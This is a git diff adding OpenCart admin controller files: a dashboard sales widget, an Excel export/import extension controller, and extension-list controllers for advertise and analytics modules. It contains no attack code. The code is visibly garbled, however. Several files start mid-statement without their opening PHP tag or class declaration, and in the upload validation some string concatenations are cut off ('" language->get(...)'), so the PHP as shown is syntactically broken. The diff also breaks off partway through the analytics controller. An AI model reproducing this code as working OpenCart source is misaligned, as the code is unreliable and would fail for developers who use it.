+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_sale_status'])) {
+ $data['dashboard_sale_status'] = $this->request->post['dashboard_sale_status'];
+ } else {
+ $data['dashboard_sale_status'] = $this->config->get('dashboard_sale_status');
+ }
+
+ if (isset($this->request->post['dashboard_sale_sort_order'])) {
+ $data['dashboard_sale_sort_order'] = $this->request->post['dashboard_sale_sort_order'];
+ } else {
+ $data['dashboard_sale_sort_order'] = $this->config->get('dashboard_sale_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/sale_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/sale')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/sale');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('extension/dashboard/sale');
+
+ $today = $this->model_extension_dashboard_sale->getTotalSales(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_extension_dashboard_sale->getTotalSales(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && (int)$today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $sale_total = $this->model_extension_dashboard_sale->getTotalSales();
+
+ if ($sale_total > 1000000000000) {
+ $data['total'] = round($sale_total / 1000000000000, 1) . 'T';
+ } elseif ($sale_total > 1000000000) {
+ $data['total'] = round($sale_total / 1000000000, 1) . 'B';
+ } elseif ($sale_total > 1000000) {
+ $data['total'] = round($sale_total / 1000000, 1) . 'M';
+ } elseif ($sale_total > 1000) {
+ $data['total'] = round($sale_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = round($sale_total);
+ }
+
+ $data['sale'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/sale_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/export_import.php b/public/admin/controller/extension/export_import.php
new file mode 100644
index 0000000..99da682
--- /dev/null
+++ b/public/admin/controller/extension/export_import.php
@@ -0,0 +1,570 @@
+ssl = true;
+ }
+
+
+ public function index() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ $this->getForm();
+ }
+
+
+ public function upload() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validateUploadForm())) {
+ if ((isset( $this->request->files['upload'] )) && (is_uploaded_file($this->request->files['upload']['tmp_name']))) {
+ $file = $this->request->files['upload']['tmp_name'];
+ $incremental = ($this->request->post['incremental']) ? true : false;
+ if ($this->model_extension_export_import->upload($file,$this->request->post['incremental'])==true) {
+ $this->session->data['success'] = $this->language->get('text_success');
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ else {
+ $this->session->data['warning'] = $this->language->get('error_upload');
+ $href = $this->url->link( 'tool/log', 'user_token='.$this->session->data['user_token'], $this->ssl );
+ $this->session->data['warning'] .= " \n".str_replace('%1',$href,$this->language->get( 'text_log_details_3_x' ));
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ }
+ }
+
+ $this->getForm();
+ }
+
+
+ protected function return_bytes($val)
+ {
+ $val = trim($val);
+
+ switch (strtolower(substr($val, -1)))
+ {
+ case 'm': $val = (int)substr($val, 0, -1) * 1048576; break;
+ case 'k': $val = (int)substr($val, 0, -1) * 1024; break;
+ case 'g': $val = (int)substr($val, 0, -1) * 1073741824; break;
+ case 'b':
+ switch (strtolower(substr($val, -2, 1)))
+ {
+ case 'm': $val = (int)substr($val, 0, -2) * 1048576; break;
+ case 'k': $val = (int)substr($val, 0, -2) * 1024; break;
+ case 'g': $val = (int)substr($val, 0, -2) * 1073741824; break;
+ default : break;
+ } break;
+ default: break;
+ }
+ return $val;
+ }
+
+
+ public function download() {
+ $this->load->language( 'extension/export_import' );
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model( 'extension/export_import' );
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateDownloadForm()) {
+ $export_type = $this->request->post['export_type'];
+ switch ($export_type) {
+ case 'c':
+ case 'p':
+ case 'u':
+ $min = null;
+ if (isset( $this->request->post['min'] ) && ($this->request->post['min']!='')) {
+ $min = $this->request->post['min'];
+ }
+ $max = null;
+ if (isset( $this->request->post['max'] ) && ($this->request->post['max']!='')) {
+ $max = $this->request->post['max'];
+ }
+ if (($min==null) || ($max==null)) {
+ $this->model_extension_export_import->download($export_type, null, null, null, null);
+ } else if ($this->request->post['range_type'] == 'id') {
+ $this->model_extension_export_import->download($export_type, null, null, $min, $max);
+ } else {
+ $this->model_extension_export_import->download($export_type, $min*($max-1-1), $min, null, null);
+ }
+ break;
+ case 'o':
+ $this->model_extension_export_import->download('o', null, null, null, null);
+ break;
+ case 'a':
+ $this->model_extension_export_import->download('a', null, null, null, null);
+ break;
+ case 'f':
+ if ($this->model_extension_export_import->existFilter()) {
+ $this->model_extension_export_import->download('f', null, null, null, null);
+ break;
+ }
+ break;
+ default:
+ break;
+ }
+ $this->response->redirect( $this->url->link( 'extension/export_import', 'user_token='.$this->request->get['user_token'], $this->ssl) );
+ }
+
+ $this->getForm();
+ }
+
+
+ public function settings() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validateSettingsForm())) {
+ $this->load->model('setting/setting');
+ $this->model_setting_setting->editSetting('export_import', $this->request->post);
+ $this->session->data['success'] = $this->language->get('text_success_settings');
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ $this->getForm();
+ }
+
+
+ protected function getForm() {
+ $data = array();
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['exist_filter'] = $this->model_extension_export_import->existFilter();
+
+ $data['text_export_type_category'] = ($data['exist_filter']) ? $this->language->get('text_export_type_category') : $this->language->get('text_export_type_category_old');
+ $data['text_export_type_product'] = ($data['exist_filter']) ? $this->language->get('text_export_type_product') : $this->language->get('text_export_type_product_old');
+ $data['text_export_type_poa'] = $this->language->get('text_export_type_poa');
+ $data['text_export_type_option'] = $this->language->get('text_export_type_option');
+ $data['text_export_type_attribute'] = $this->language->get('text_export_type_attribute');
+ $data['text_export_type_filter'] = $this->language->get('text_export_type_filter');
+ $data['text_export_type_customer'] = $this->language->get('text_export_type_customer');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_loading_notifications'] = $this->language->get( 'text_loading_notifications' );
+ $data['text_retry'] = $this->language->get('text_retry');
+ $data['text_license'] = $this->language->get('text_license');
+
+ $data['entry_export'] = $this->language->get( 'entry_export' );
+ $data['entry_import'] = $this->language->get( 'entry_import' );
+ $data['entry_export_type'] = $this->language->get( 'entry_export_type' );
+ $data['entry_range_type'] = $this->language->get( 'entry_range_type' );
+ $data['entry_category_filter'] = $this->language->get( 'entry_category_filter' );
+ $data['entry_category'] = $this->language->get( 'entry_category' );
+ $data['entry_start_id'] = $this->language->get( 'entry_start_id' );
+ $data['entry_start_index'] = $this->language->get( 'entry_start_index' );
+ $data['entry_end_id'] = $this->language->get( 'entry_end_id' );
+ $data['entry_end_index'] = $this->language->get( 'entry_end_index' );
+ $data['entry_incremental'] = $this->language->get( 'entry_incremental' );
+ $data['entry_upload'] = $this->language->get( 'entry_upload' );
+ $data['entry_settings_use_option_id'] = $this->language->get( 'entry_settings_use_option_id' );
+ $data['entry_settings_use_option_value_id'] = $this->language->get( 'entry_settings_use_option_value_id' );
+ $data['entry_settings_use_attribute_group_id'] = $this->language->get( 'entry_settings_use_attribute_group_id' );
+ $data['entry_settings_use_attribute_id'] = $this->language->get( 'entry_settings_use_attribute_id' );
+ $data['entry_settings_use_filter_group_id'] = $this->language->get( 'entry_settings_use_filter_group_id' );
+ $data['entry_settings_use_filter_id'] = $this->language->get( 'entry_settings_use_filter_id' );
+ $data['entry_version'] = $this->language->get('entry_version');
+ $data['entry_oc_version'] = $this->language->get('entry_oc_version');
+ $data['entry_license'] = $this->language->get('entry_license');
+
+ $data['tab_export'] = $this->language->get( 'tab_export' );
+ $data['tab_import'] = $this->language->get( 'tab_import' );
+ $data['tab_settings'] = $this->language->get( 'tab_settings' );
+ $data['tab_support'] = $this->language->get( 'tab_support' );
+
+ $data['button_export'] = $this->language->get( 'button_export' );
+ $data['button_import'] = $this->language->get( 'button_import' );
+ $data['button_settings'] = $this->language->get( 'button_settings' );
+ $data['button_export_id'] = $this->language->get( 'button_export_id' );
+ $data['button_export_page'] = $this->language->get( 'button_export_page' );
+
+ $data['help_range_type'] = $this->language->get( 'help_range_type' );
+ $data['help_category_filter'] = $this->language->get( 'help_category_filter' );
+ $data['help_incremental_yes'] = $this->language->get( 'help_incremental_yes' );
+ $data['help_incremental_no'] = $this->language->get( 'help_incremental_no' );
+ $data['help_import'] = ($data['exist_filter']) ? $this->language->get( 'help_import' ) : $this->language->get( 'help_import_old' );
+ $data['help_format'] = $this->language->get( 'help_format' );
+
+ $data['error_select_file'] = $this->language->get('error_select_file');
+ $data['error_post_max_size'] = str_replace( '%1', ini_get('post_max_size'), $this->language->get('error_post_max_size') );
+ $data['error_upload_max_filesize'] = str_replace( '%1', ini_get('upload_max_filesize'), $this->language->get('error_upload_max_filesize') );
+ $data['error_id_no_data'] = $this->language->get('error_id_no_data');
+ $data['error_page_no_data'] = $this->language->get('error_page_no_data');
+ $data['error_param_not_number'] = $this->language->get('error_param_not_number');
+ $data['error_notifications'] = $this->language->get('error_notifications');
+ $data['error_no_news'] = $this->language->get('error_no_news');
+ $data['error_batch_number'] = $this->language->get('error_batch_number');
+ $data['error_min_item_id'] = $this->language->get('error_min_item_id');
+
+ if (!empty($this->session->data['export_import_error']['errstr'])) {
+ $this->error['warning'] = $this->session->data['export_import_error']['errstr'];
+ } else if (isset($this->session->data['warning'])) {
+ $this->error['warning'] = $this->session->data['warning'];
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ if (!empty($this->session->data['export_import_nochange'])) {
+ $data['error_warning'] .= " \n".$this->language->get( 'text_nochange' );
+ }
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ unset($this->session->data['warning']);
+ unset($this->session->data['export_import_error']);
+ unset($this->session->data['export_import_nochange']);
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], $this->ssl)
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl)
+ );
+
+ $data['back'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['button_back'] = $this->language->get( 'button_back' );
+ $data['import'] = $this->url->link('extension/export_import/upload', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['export'] = $this->url->link('extension/export_import/download', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['settings'] = $this->url->link('extension/export_import/settings', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['post_max_size'] = $this->return_bytes( ini_get('post_max_size') );
+ $data['upload_max_filesize'] = $this->return_bytes( ini_get('upload_max_filesize') );
+
+ if (isset($this->request->post['export_type'])) {
+ $data['export_type'] = $this->request->post['export_type'];
+ } else {
+ $data['export_type'] = 'p';
+ }
+
+ if (isset($this->request->post['range_type'])) {
+ $data['range_type'] = $this->request->post['range_type'];
+ } else {
+ $data['range_type'] = 'id';
+ }
+
+ if (isset($this->request->post['min'])) {
+ $data['min'] = $this->request->post['min'];
+ } else {
+ $data['min'] = '';
+ }
+
+ if (isset($this->request->post['max'])) {
+ $data['max'] = $this->request->post['max'];
+ } else {
+ $data['max'] = '';
+ }
+
+ if (isset($this->request->post['incremental'])) {
+ $data['incremental'] = $this->request->post['incremental'];
+ } else {
+ $data['incremental'] = '1';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_option_id'])) {
+ $data['settings_use_option_id'] = $this->request->post['export_import_settings_use_option_id'];
+ } else if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data['settings_use_option_id'] = '1';
+ } else {
+ $data['settings_use_option_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_option_value_id'])) {
+ $data['settings_use_option_value_id'] = $this->request->post['export_import_settings_use_option_value_id'];
+ } else if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data['settings_use_option_value_id'] = '1';
+ } else {
+ $data['settings_use_option_value_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_attribute_group_id'])) {
+ $data['settings_use_attribute_group_id'] = $this->request->post['export_import_settings_use_attribute_group_id'];
+ } else if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data['settings_use_attribute_group_id'] = '1';
+ } else {
+ $data['settings_use_attribute_group_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_attribute_id'])) {
+ $data['settings_use_attribute_id'] = $this->request->post['export_import_settings_use_attribute_id'];
+ } else if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data['settings_use_attribute_id'] = '1';
+ } else {
+ $data['settings_use_attribute_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_filter_group_id'])) {
+ $data['settings_use_filter_group_id'] = $this->request->post['export_import_settings_use_filter_group_id'];
+ } else if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data['settings_use_filter_group_id'] = '1';
+ } else {
+ $data['settings_use_filter_group_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_filter_id'])) {
+ $data['settings_use_filter_id'] = $this->request->post['export_import_settings_use_filter_id'];
+ } else if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data['settings_use_filter_id'] = '1';
+ } else {
+ $data['settings_use_filter_id'] = '0';
+ }
+
+ $data['categories'] = array();
+ $data['manufacturers'] = array();
+
+ $min_product_id = $this->model_extension_export_import->getMinProductId();
+ $max_product_id = $this->model_extension_export_import->getMaxProductId();
+ $count_product = $this->model_extension_export_import->getCountProduct();
+ $min_category_id = $this->model_extension_export_import->getMinCategoryId();
+ $max_category_id = $this->model_extension_export_import->getMaxCategoryId();
+ $count_category = $this->model_extension_export_import->getCountCategory();
+ $min_customer_id = $this->model_extension_export_import->getMinCustomerId();
+ $max_customer_id = $this->model_extension_export_import->getMaxCustomerId();
+ $count_customer = $this->model_extension_export_import->getCountCustomer();
+
+ $data['text_welcome'] = str_replace('%1',$this->model_extension_export_import->getVersion(),$this->language->get('text_welcome'));
+ $data['text_used_category_ids'] = $this->language->get('text_used_category_ids');
+ $data['text_used_category_ids'] = str_replace('%1',$min_category_id,$data['text_used_category_ids']);
+ $data['text_used_category_ids'] = str_replace('%2',$max_category_id,$data['text_used_category_ids']);
+ $data['text_used_product_ids'] = $this->language->get('text_used_product_ids');
+ $data['text_used_product_ids'] = str_replace('%1',$min_product_id,$data['text_used_product_ids']);
+ $data['text_used_product_ids'] = str_replace('%2',$max_product_id,$data['text_used_product_ids']);
+
+ $data['version_export_import'] = $this->model_extension_export_import->getVersion();
+ $data['version_opencart'] = VERSION;
+
+ $data['min_product_id'] = $min_product_id;
+ $data['max_product_id'] = $max_product_id;
+ $data['count_product'] = $count_product;
+ $data['min_category_id'] = $min_category_id;
+ $data['max_category_id'] = $max_category_id;
+ $data['count_category'] = $count_category;
+ $data['min_customer_id'] = $min_customer_id;
+ $data['max_customer_id'] = $max_customer_id;
+ $data['count_customer'] = $count_customer;
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->document->addStyle('view/stylesheet/export_import.css');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view( 'extension/export_import', $data));
+ }
+
+
+ protected function validateDownloadForm() {
+ if (!$this->user->hasPermission('access', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ return false;
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_names = $this->model_extension_export_import->getOptionNameCounts();
+ foreach ($option_names as $option_name) {
+ if ($option_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_name['name'], $this->language->get( 'error_option_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_names = $this->model_extension_export_import->getOptionValueNameCounts();
+ foreach ($option_value_names as $option_value_name) {
+ if ($option_value_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_value_name['name'], $this->language->get( 'error_option_value_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_names = $this->model_extension_export_import->getAttributeGroupNameCounts();
+ foreach ($attribute_group_names as $attribute_group_name) {
+ if ($attribute_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_group_name['name'], $this->language->get( 'error_attribute_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_names = $this->model_extension_export_import->getAttributeNameCounts();
+ foreach ($attribute_names as $attribute_name) {
+ if ($attribute_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_name['name'], $this->language->get( 'error_attribute_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->model_extension_export_import->getFilterGroupNameCounts();
+ foreach ($filter_group_names as $filter_group_name) {
+ if ($filter_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_group_name['name'], $this->language->get( 'error_filter_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->model_extension_export_import->getFilterNameCounts();
+ foreach ($filter_names as $filter_name) {
+ if ($filter_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_name['name'], $this->language->get( 'error_filter_name' ) );
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+
+ protected function validateUploadForm() {
+ if (!$this->user->hasPermission('modify', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ } else if (!isset( $this->request->post['incremental'] )) {
+ $this->error['warning'] = $this->language->get( 'error_incremental' );
+ } else if ($this->request->post['incremental'] != '0') {
+ if ($this->request->post['incremental'] != '1') {
+ $this->error['warning'] = $this->language->get( 'error_incremental' );
+ }
+ }
+
+ if (!isset($this->request->files['upload']['name'])) {
+ if (isset($this->error['warning'])) {
+ $this->error['warning'] .= " language->get( 'error_upload_name' );
+ } else {
+ $this->error['warning'] = $this->language->get( 'error_upload_name' );
+ }
+ } else {
+ $ext = strtolower(pathinfo($this->request->files['upload']['name'], PATHINFO_EXTENSION));
+ if (($ext != 'xls') && ($ext != 'xlsx') && ($ext != 'ods')) {
+ if (isset($this->error['warning'])) {
+ $this->error['warning'] .= " language->get( 'error_upload_ext' );
+ } else {
+ $this->error['warning'] = $this->language->get( 'error_upload_ext' );
+ }
+ }
+ }
+
+ if (!$this->error) {
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+
+ protected function validateSettingsForm() {
+ if (!$this->user->hasPermission('access', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ return false;
+ }
+
+ if (empty($this->request->post['export_import_settings_use_option_id'])) {
+ $option_names = $this->model_extension_export_import->getOptionNameCounts();
+ foreach ($option_names as $option_name) {
+ if ($option_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_name['name'], $this->language->get( 'error_option_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_option_value_id'])) {
+ $option_value_names = $this->model_extension_export_import->getOptionValueNameCounts();
+ foreach ($option_value_names as $option_value_name) {
+ if ($option_value_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_value_name['name'], $this->language->get( 'error_option_value_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_attribute_group_id'])) {
+ $attribute_group_names = $this->model_extension_export_import->getAttributeGroupNameCounts();
+ foreach ($attribute_group_names as $attribute_group_name) {
+ if ($attribute_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_group_name['name'], $this->language->get( 'error_attribute_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_attribute_id'])) {
+ $attribute_names = $this->model_extension_export_import->getAttributeNameCounts();
+ foreach ($attribute_names as $attribute_name) {
+ if ($attribute_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_name['name'], $this->language->get( 'error_attribute_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_filter_group_id'])) {
+ $filter_group_names = $this->model_extension_export_import->getFilterGroupNameCounts();
+ foreach ($filter_group_names as $filter_group_name) {
+ if ($filter_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_group_name['name'], $this->language->get( 'error_filter_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_filter_id'])) {
+ $filter_names = $this->model_extension_export_import->getFilterNameCounts();
+ foreach ($filter_names as $filter_name) {
+ if ($filter_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_name['name'], $this->language->get( 'error_filter_name' ) );
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+
+ public function getNotifications() {
+ sleep(1); // give the data some "feel" that its not in our system
+ $this->load->model('extension/export_import');
+ $this->load->language( 'extension/export_import' );
+ $response = $this->model_extension_export_import->getNotifications();
+ $json = array();
+ if ($response===false) {
+ $json['message'] = '';
+ $json['error'] = $this->language->get( 'error_notifications' );
+ } else {
+ $json['message'] = $response;
+ $json['error'] = '';
+ }
+ $this->response->setOutput(json_encode($json));
+ }
+
+
+ public function getCountProduct() {
+ $this->load->model('extension/export_import');
+ $count = $this->model_extension_export_import->getCountProduct();
+ $json = array( 'count'=>$count );
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
+?>
diff --git a/public/admin/controller/extension/extension/advertise.php b/public/admin/controller/extension/extension/advertise.php
new file mode 100644
index 0000000..0d8689e
--- /dev/null
+++ b/public/admin/controller/extension/extension/advertise.php
@@ -0,0 +1,134 @@
+load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('advertise', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/advertise/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/advertise/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'advertise/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'advertise/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/advertise/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('advertise', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/advertise/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('advertise');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/advertise/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/advertise/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('advertise', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/advertise/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/advertise/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/advertise/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('advertise_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/advertise/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('advertise_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/advertise/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/advertise/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('extension/extension/advertise', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/advertise')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/analytics.php b/public/admin/controller/extension/extension/analytics.php
new file mode 100644
index 0000000..f3e9018
--- /dev/null
+++ b/public/admin/controller/extension/extension/analytics.php
@@ -0,0 +1,136 @@
+load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('analytics', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/analytics/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/analytics/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'analytics/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'analytics/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/analytics/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('analytics', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/analytics/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('analytics');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/analytics/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/analytics/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('analytics', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
